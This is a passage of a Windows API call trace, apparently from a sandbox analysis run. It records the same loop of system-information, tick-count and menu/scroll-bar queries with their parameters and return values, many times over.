wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.131] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.131] GetTickCount () returned 0x4671 [0096.131] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.131] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.131] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.131] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.131] GetTickCount () returned 0x4671 [0096.131] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.131] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.131] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.131] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.131] GetTickCount () returned 0x4671 [0096.131] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.131] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.131] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.131] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.131] GetTickCount () returned 0x4671 [0096.131] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.131] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.131] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.131] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.131] GetTickCount () returned 0x4671 [0096.132] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.132] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.132] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.132] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.132] GetTickCount () returned 0x4671 [0096.132] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.132] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.132] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.132] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.132] GetTickCount () returned 0x4671 [0096.132] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.132] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.132] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.132] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.132] GetTickCount () returned 0x4671 [0096.132] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.132] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.132] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.132] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.132] GetTickCount () returned 0x4671 [0096.132] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.132] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.132] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.133] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.133] GetTickCount () returned 0x4671 [0096.133] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.133] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.133] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.133] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.133] GetTickCount () returned 0x4671 [0096.133] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.133] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.133] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.133] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.133] GetTickCount () returned 0x4671 [0096.133] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.133] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.133] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.133] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.133] GetTickCount () returned 0x4671 [0096.133] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.133] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.133] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.133] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.133] GetTickCount () returned 0x4671 [0096.133] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.133] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.133] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.134] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.134] GetTickCount () returned 0x4671 [0096.134] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.134] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.134] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.134] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.134] GetTickCount () returned 0x4671 [0096.134] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.134] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.134] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.134] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.134] GetTickCount () returned 0x4671 [0096.134] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.134] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.134] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.134] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.134] GetTickCount () returned 0x4671 [0096.134] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.134] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.134] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.134] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.134] GetTickCount () returned 0x4671 [0096.134] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.134] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.135] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.135] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.135] GetTickCount () returned 0x4671 [0096.135] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.135] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.135] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.135] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.135] GetTickCount () returned 0x4671 [0096.135] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.135] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.135] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.135] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.135] GetTickCount () returned 0x4671 [0096.135] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.135] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.135] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.135] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.135] GetTickCount () returned 0x4671 [0096.135] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.135] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.135] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.135] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.135] GetTickCount () returned 0x4671 [0096.136] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.136] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.136] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.136] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.136] GetTickCount () returned 0x4681 [0096.136] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.136] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.136] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.136] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.136] GetTickCount () returned 0x4681 [0096.136] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.136] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.136] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.136] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.136] GetTickCount () returned 0x4681 [0096.136] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.136] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.136] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.136] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.136] GetTickCount () returned 0x4681 [0096.136] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.136] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.136] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.137] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.137] GetTickCount () returned 0x4681 [0096.137] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.137] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.137] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.137] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.137] GetTickCount () returned 0x4681 [0096.137] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.137] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.137] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.137] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.137] GetTickCount () returned 0x4681 [0096.137] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.137] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.137] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.137] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.137] GetTickCount () returned 0x4681 [0096.137] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.137] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.137] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.137] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.137] GetTickCount () returned 0x4681 [0096.137] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.137] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.137] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.138] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.138] GetTickCount () returned 0x4681 [0096.138] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.138] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.138] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.138] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.138] GetTickCount () returned 0x4681 [0096.138] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.138] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.138] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.138] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.138] GetTickCount () returned 0x4681 [0096.138] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.138] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.138] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, 